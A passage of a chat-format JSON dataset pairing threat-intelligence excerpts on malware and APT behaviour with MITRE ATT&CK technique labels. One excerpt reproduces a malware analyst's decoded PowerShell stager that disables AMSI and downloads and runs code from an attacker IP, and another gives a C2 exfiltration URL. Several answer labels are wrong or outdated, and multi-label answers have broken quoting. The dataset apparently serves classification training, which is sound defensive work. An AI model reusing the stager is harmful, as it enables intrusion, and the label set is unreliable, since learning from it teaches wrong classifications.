                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This spawns the hidden embedded malicious LNK file in the document"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee uses a batch file that configures the ComSysApp service to autostart in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "bypassed User Access Control (UAC)."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "leverages legitimate social networking sites and cloud platforms (Twitter, Yandex, and Mediafire) for command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can communicate to its C2 over HTTP and HTTPS if directed."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attor's dispatcher can establish persistence via adding a Registry key with a logon script \"HKEY_CURRENT_USER\\Environment \"UserInitMprLogonScript\" \"."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Night Dragon sent spearphishing emails containing links to compromised websites where malware was downloaded."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The VB.NET variant then gathers system information and running processes like other Zebrocy variants by running the following commands: systeminfo & tasklist The URL used to send the system information, running processes and a screenshot to the C2 server is: hxxp://109.248.148[.]42/agr-enum/progress-inform/cube.php?res=[serial number] The VB.NET variant of Zebrocy uses an HTTP POST request to the URL above to transmit the gathered data, of which is included within the HTTP POST data that is structured as follows (notice the spaces before and after ampersand “&”): data=[system information and running processes] & arg=[screenshot in BMP format] C# Zebrocy Variant The C# variant of Zebrocy is similar to other variants in functionality, but also has several unique attributes that are worth discussing"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1057 - Process Discovery', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In this instance a spear phishing email was used containing a lure designed to socially engineer and entice the victim to executing a malicious attachment"
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We identified that even though the downloaded installation executable was signed using a valid digital signature issued to Piriform, CCleaner was not the only application that came with the download. During the installation of CCleaner 5.33, the 32-bit CCleaner binary that was included also contained a malicious payload that featured a Domain Generation Algorithm (DGA) as well as hardcoded Command and Control (C2) functionality. We confirmed that this malicious version of CCleaner was being hosted directly on CCleaner's download server as recently as September 11, 2017. In reviewing the Version History page on the CCleaner download site, it appears that the affected version (5.33) was released on August 15, 2017. On September 12, 2017 version 5.34 was released. The version containing the malicious payload (5.33) was being distributed between these dates. This version was signed using a valid certificate that was issued to Piriform Ltd by Symantec and is valid through 10/10/2018. Piriform was the company that Avast recently acquired and was the original company who developed the CCleaner software application. This second sample was also signed using a valid digital certificate, however the signing timestamp was approximately 15 minutes after the initial sample was signed. It is also important to note that while previous versions of the CCleaner installer are currently still available on the download server, the version containing the malicious payloads has been removed and is no longer available"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE can obtain a list of running processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses port 8000 and 443 for C2."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware WhiskeyAlfa-Three modifies sector 0 of the Master Boot Record (MBR) to ensure that the malware will persist even if a victim machine shuts down."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use WMI to deliver a payload to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "T9000 uses the Skype API to record audio and video calls. It writes encrypted data to \"%APPDATA%\\Intel\\Skype\"."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture', 'T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command_Update_Server:  This command passes the string “Gh0st Update” to the malware sample before running the sample again.  When the sample restarts, it detects the “Gh0st Update” command line arg, and connects to the server in order to update the sample.  Command_Clean_Event:  This command locates and deletes all of the event logs on the system"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1059 - Command and Scripting Interpreter', 'T1070 - Indicator Removal on Host', 'T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can modify registry entries."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda used custom batch scripts to collect files automatically from a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used CVE-2015-4902 to bypass security features."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Writes itself to %AppData%\\Microsoft\\Word\\log.ps1 2) Sets up persistence for this file, using a run key. 3) Adds a registry key so that future powershell.exe instances are spawned off-screen by default – this trick is explained here. 6) Removes all registry entries that are left behind during the dropper process"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.003 - Hide Artifacts: Hidden Window', 'T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1/12/14 3/5/14 127.0.0.1 N/A   3/5/14 3/31/14 103.24.0.142 Hong Kong   3/31/14 10/27/14 103.24.1.54 Hong Kong   10/27/14 11/9/14 127.0.0.1 N/A   11/9/14 5/25/15 127.0.0.3 N/A   5/25/15 Current as of this publication 127.0.0.1 N/A    Table 5"
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "63 64 ku64.dll ku32.dll Keylogger & clipboard monitor"
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "X-Session: 0\"). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. The malware can be configured to use multiple network protocols to avoid network-based detection. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. DLL side loading has been used to maintain persistence on the compromised system. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system. The server-side component provides a simple graphical user interface for threat actors interacting with web shells. TG-3390 has used additional web shells containing similarly formatted passwords"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ServHelper has created a new user and added it to the \"Remote Desktop Users\" and \"Administrators\" groups."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TSCookie has the ability to decrypt, load, and execute a DLL and its resources."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has the capability to capture video from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA has the capability to enumerate services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Nebulae has the capability to upload collected files to C2."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1: SpeakUp’s Victim Distribution  Figure 2: SpeakUp’s propagation rate per day Infection Vector The initial infection vector is targeting the recently reported vulnerability in ThinkPHP and uses command injection techniques for uploading a PHP shell that serves and executes a Perl backdoor"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The use of specific hostnames and internal paths indicates the attacker had prior knowledge of the environment. Extract and run additional tools: update.bat, which was extracted and started by setup.bat, uses the password hackemall to extract the next stages: cache.bat, msrun.bat and bcd.bat. Corrupt the boot: bcd.bat is used in order to harm the boot process"
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Capable of stealing documents sent to the printer queue. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PipeMon can switch to an alternate C2 domain when a particular date has been reached."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Timezone Check The Trojan check to see if the system is configured (“DaylightName”) with one of the following time zones:   Arabic Daylight Time (UTC+3) Arab Daylight Time (UTC+3) Arabian Daylight Time (UTC+4) Middle East Daylight Time (UTC+2) Iran Daylight Time (UTC+3.5)   Human Interaction Check Before executing its functional code, the Trojan presents a dialog box with the following line of code:   Interaction.MsgBox(encodedStringClass.return_user32_bogus_errorcode_(3), MsgBoxStyle.Critical, null);   This dialog box displays  An error occurred while processing user32.dll!, which the user must click the ok button for the Trojan to run its functional code"
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "That new instance of RegAsm.exe is then responsible for handling the brunt of the malicious activity (data harvesting, exfiltration). We can also see frequent use of ‘Process Hollowing’ as an injection method. Process Hollowing allows for the creation or manipulation of processes through which sections of memory are unmapped (hollowed) with that space then being reallocated with the desired malicious code"
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has modified data timestamps to mimic files that are in the same folder on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Volatile Cedar has used DirBuster and GoBuster to brute force web directories and DNS subdomains."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy has a module to clear event logs with PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CaddyWiper can enumerate all files and directories on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remcos has a command for keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "adbupd contains a copy of the OpenSSL library to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "contains code to open and copy data from the clipboard."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used links in e-mail to steal account information."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT-C-36 obtained and used a modified variant of Imminent Monitor."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers orchestrate attacks using batch or PowerShell scripts that are executed, with the help of domain controllers, on any machine the DC can reach."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to inject the \"LoadLibrary\" call template DLL into running processes."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT28 backdoor may collect the entire contents of an inserted USB device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The JavaScript component is the first stage of the attack and can deploy other malware such as a C# spy component, Golden Chickens components or several Python-based tools. The name Evilnum was given to the C# component by other researchers in the past, but the JS component also has been referred to as Evilnum. We have named the group Evilnum as that is the name of their flagship malware, and we’ll refer to the various malware pieces as components"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It looks like GrowlHelper creates an executable named Software Update Check when it thinks it’s online. I was pretty excited when I first found this, but quickly realized it just drops a copy of itself with a different name"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation CuckooBees, the threat actors used the `systeminfo` command to gather details about a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN7 spear phishing campaigns have included malicious Word documents with DDE execution."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KGH_SPY has used encrypted strings in its installer."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get-ProcessTokenPrivilege Privesc-PowerUp module can enumerate privileges for a given process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The PowerShell command decodes to the following:$command = 'WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACAAIAAgACAAdAByAHkAewAgAAoAIAAgACAAIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAJwApAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACAAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAAsACAAJAB0AHIAdQBlACkACgAgACAAIAAgAH0AYwBhAHQAYwBoAHsAfQAKACAAIAAgACAASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAzADkALgA1ADkALgA0ADYALgAxADUANAA6ADMANAA4ADUALwBJAE0AbwA4AG8AbwBzAGkAZQBWAGEAaQAnACkAOwAKACAAIAAgACAA'         if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')          {                          $exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command             IEX $exec         }         else         {             $exec = [System.Convert]::FromBase64String($command)             $exec = [Text.Encoding]::Unicode.GetString($exec)             IEX $exec         }The script above checks the system architecture to determine if it is an x64 machine and attempts to execute a base64 encoded command that decodes to the following:[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};     try{      [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)     }catch{}     IEX (New-Object Net.WebClient).DownloadString('http:// 139.59.46[.]154:3485 /IMo8oosieVai');This decoded PowerShell script attempts to download and execute a file using HTTP from the URL “hxxp:// 139.59.46[.]154:3485 /IMo8oosieVai”"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses WMI queries and checks running processes for evidence that the script may be executing within an analysis environment"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zox has the ability to upload files from a targeted system."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These websites hosted malware that would be side-loaded with a legitimate signed executable. These tactics are becoming increasingly common by malware authors in order to evade security products and controls. Two variants of the malware employed by C0d0so0 were discovered—one that used HTTP for command and control (C2) communications, and one that used a custom network protocol over port 22"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This backdoor, known as LOWBALL, uses the legitimate Dropbox cloud-storage service to act as the CnC server. The communication occurs via HTTPS over port 443"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device."
            },
            {
                "role": "assistant",
